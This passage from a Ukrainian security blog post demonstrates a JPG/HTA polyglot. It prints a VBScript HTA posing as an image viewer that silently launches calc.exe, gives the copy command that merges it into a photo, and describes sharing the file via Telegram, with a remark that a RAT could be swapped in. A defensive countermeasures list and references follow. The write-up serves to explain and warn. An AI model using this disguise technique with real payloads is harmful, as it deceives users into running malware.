  • evil.hta – в блокноті Notepad створюємо файл в форматі HTA (HTML Application) з наступним вмістом:
<HTML>
<HEAD>
<HTA:APPLICATION ID="CalcLauncher" WINDOWSTATE="minimize" SHOWINTASKBAR="no" />
<TITLE>Image Viewer</TITLE>
<SCRIPT language="VBScript">
    Set WshShell = CreateObject("WScript.Shell")
    WshShell.Run "calc.exe", 0, False
    Window.Close
</SCRIPT>
</HEAD>
<BODY>
<CENTER><H3>Loading image...</H3></CENTER>
</BODY>
</HTML>

Як бачимо, HTA-файл буде виконувати EXE-файл calc.exe, що відповідає добре відомий вбудованій утиліті Windows – “Калякулятор”.

Тепер їх потрібно об’єднати, для цього відкриваємо CMD і виконуємо: copy /b photo.jpg + evil.hta Foto.hta

В результаті отримаємо файл-поліглот – Foto.hta, який рендеретиметься як звичайне JPG-зображення – однаково і в Windows, і в Linux:

Тепер підходимо до розв’язки – ми можемо передати цей файл через Telegram як звичайну картинку. І якщо користувач відкриє її, то побачить… тільки картинку, і більше  нічого. Насторожити його може лише ім’я файлу:

Користувач може подумати “А що тут такого, звичайне зображення, я не параноїк…” Але, при збереженні на пристрій, наприклад комп’ютер з ОС Windows, при відкритті воно виконається не як JPG-зображення, а як стандартний HTA-файл з вбудованим в нього шкідливим кодом:

У даному випадку була запущена команда на відкриття калькулятора. Але техніку можна адаптувати і під розповсюдження RAT. І Telegram у цьому ланцюжку відіграє не найменшу роль! Адже давно славиться слабким дизайном безпеки і великою поверхнею атаки. Так що будьте обережними перш ніж скачувати будь-які файли звідти… Завжди перевіряйте тип і дивіться властивості файлу, навіть якщо ваші очі бачать, що це “безобідна картинка” чи “смайлик”.

Контрзаходи і методи безпеки

Нижче запропоновані поради та заходи стосуються у першу чергу користувачів ОС Windows:

  • Використовувати лише ліцензійний софт і оригінальну збірку Windows. Будь-які модифіковані, торент-версії позбавлені повномасштабного захисту. Також варто зауважити, що усі версії Windows нижче 10 – потенційно вразливі. В ідеалі найкраще використовувати взагалі тільки Linux (має іншу архітектуру та обробку підпроцесів, що унеможливлює більшість атак).
  • Обов’язково увімкнути відображення прихованих файлів і розширень в Windows. Увімкнути режим вибору файлів через чек-бокс.
  • Завжди тримати увімкненими усі базові системи кіберзахисту Windows у фоновому режимі, включаючи файєрвол Defender. Стежити за подіями, тасками (taskschd.msc), службами та процесами системи (наприклад, з допомогою Process Hacker, Process Monitor). Контролювати мережевий трафік, моніторити вхідні і вихідні запити системи (з допомогою Malwarebytes BiniSoft Windows Firewall Control, Portmaster). Активувати логування.
  • Перевіряти облікові записи, права і доступи користувачів системи (Microsoft Management Console - mmc.exe). Стежити за привілеями на запуск і виконання файлів. Перевірити налаштування модуля UAC (User Account Control).
  • Регулярно оновлювати програмне забезпечення до останніх стабільних версій (намагатися не застосовувати бета-версії або нестабільні збірки). Застарілий або експериментальний софт містить чимало багів та вразливостей. Також оновлювати драйвери до всіх пристроїв в системі.
  • Уважно ставитись до електронних листів від незнайомих абонентів. Перевіряйте email-заголовки, не переходьте по URL-посиланням без попередньої перевірки, навіть якщо вони виглядають легітимно.
  • Завжди перевіряти файли та вміст архівів, сканувати їх антивірусними системами, перед тим як виконувати з ними будь-які дії. Якщо бачите незнайоме або нестандартне розширення – перевірте тип файлу або відправте на перевірку. Особливу увагу приділити: .exe, .bat, .wsh, .com, .cmd, .lnk, .eml, .cpl, .chm, .swf, .scf, .vbs, .scr, .hta, .pif, .ps1, .asp, .xml, .reg, .msi. Будь-які файли з подвійним розширенням – одразу вилучати. Також придивлятись до значків, якщо вони нестандартні або дивні – варто перевіряти окремо. Не довіряти файлам-урлам, ярликам, симлінкам. Завжди переглядати системні властивості файлів, щоб запевнитися у легітимності типу.
  • Перевіряти цифровий підпис і контрольну суму (MD5 хеш) інсталяційних пакетів, які завантажуєте з інтернету: md5sum msi-install.exe
  • Ігнорувати email-листи від незнайомих адресатів, особливо якщо вони містять файли або вимагають дій: завантаження, клік, запуск, встановлення.
  • Не запускати SFX-архіви. Використовувати ізольовані середовища-пісочниці для перевірки або віртуальні машини.
  • Не запускати PDF-файли в застарілих версіях Adobe Acrobat Reader. Оновити переглядач до останньої версії.
  • Не запускати DOC-файли з вбудованими макросами, VBA-скриптами, складною графікою (OLE) в Microsft Word. Відключити виконання макросів в налаштуваннях офісного пакету. Налаштувати безпеку Microsoft Office/Office 365. Використовуйте тільки ліцензійну і найсвіжішу версію. Не ігнорувати попереджувальні повідомлення безпеки, які можуть з’явитися після відкриття зараженого документа в Adobe Acrobat Reader та Microsoft Office.
  • Проводити регулярне антивірусне сканування системи і всіх накопичувачів (фізичних/хмарних). Здійснювати точкову перевірку потенційно небезпечних файлів з допомогою антивірусних “пісочниць”, таких як VirusTotal і ANY.RUN.
  • Увімкнути антивірус/файєрвол на рівні браузера та/або на рівні системи. Наприклад, Malwarebytes.
  • Активувати вбудовану функцію Windows для шифрування даних на накопичувачах – BitLocker.
  • Не завантажувати і не запускати у жодному разі будь-яке зламане (модифіковане) програмне забезпечення. Не використовувати KMS-активатори, keygen’и, crack’и і т.д.
  • Не відкривати веб-сайти на незахищенному HTTP-протоколі. Налаштувати дозвіл в браузері для перегляду тільки HTTPS-ресурсів.
  • Не встановлювати Chrome-розширення, про які ви нічого не знаєте (близько 10% додатків в Chrome Web Store заражені maware). В ідеалі не користуватись браузерами на движку Chrome взагалі.
  • Запустити скрипт PrivescCheck і перевірити Windows на вразливості: powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML"
  • Дотримуватися операційної безпеки.

Джерела та посилання

  1. MITRE ATT&CK. Masquerading.
  2. HABR. Атака на архиваторы. Скрываемся в одном архиве от трех программ
  3. GitHub. Bat to Exe Converter.
  4. GitHub. PrivSecCheck Windows
  5. GitHub. Active Directory Exploitation CheatSheet.
  6. GitHub. RedTeaming Tactics and Techniques.
  7. Red Team Notes.
  8. LOLBAS
  9. Power Shell Empire
  10. Netero 1010 Security Lab. Execution of Remote VBA Script in Excel
  11. CheckPoint Research. Resurrecting Internet Explorer: Threat Actors Using Zero-day Tricks in Internet Shortcut File to Lure Victims (CVE-2024-38112)
  12. GitHub.Adobe Acrobat Reader Exploit. CVE-2021-21086.
  13. GitHub. CVE-2021-40444 – Fully Weaponized Microsoft Office Word RCE Exploit
  14. SMB Share – SCF File Attacks
  15. BC Security. Empire
  16. 3gstudent. Use CLR to bypass UAC
  17. 010 HEX Editor
  18. EST Security. TA505 Attack.
  19. Bleeping Computer. Telecrypt Ransomware Uses Telegram as C&C Server
  20. HABR. И полетят тут телеграммы: троян-бэкдор с управлением через Telegram атакует серверы на ОС Linux
  21. Sentinel Labs. Ghost in the Zip | New PXA Stealer and Its Telegram-Powered Ecosystem
  22. GitHub. PandoraBox
  23. GitHub. Powerglot.
  24. GitHub. JPG to Malware.
  25. ZIP Format Specification

Автор: © Konrad Ravenstone, KR. Laboratories Research

Konrad Ravenstone// про автора

Кібермольфар, хакер, лінуксоїд, дослідник безпеки в KR. Labs Research

Сподобалася стаття? Поділитися в соцмережах:
KR. Labs Research
Рекомендоване:
Скажу, що до цього методу я прийшов не одразу. Справа…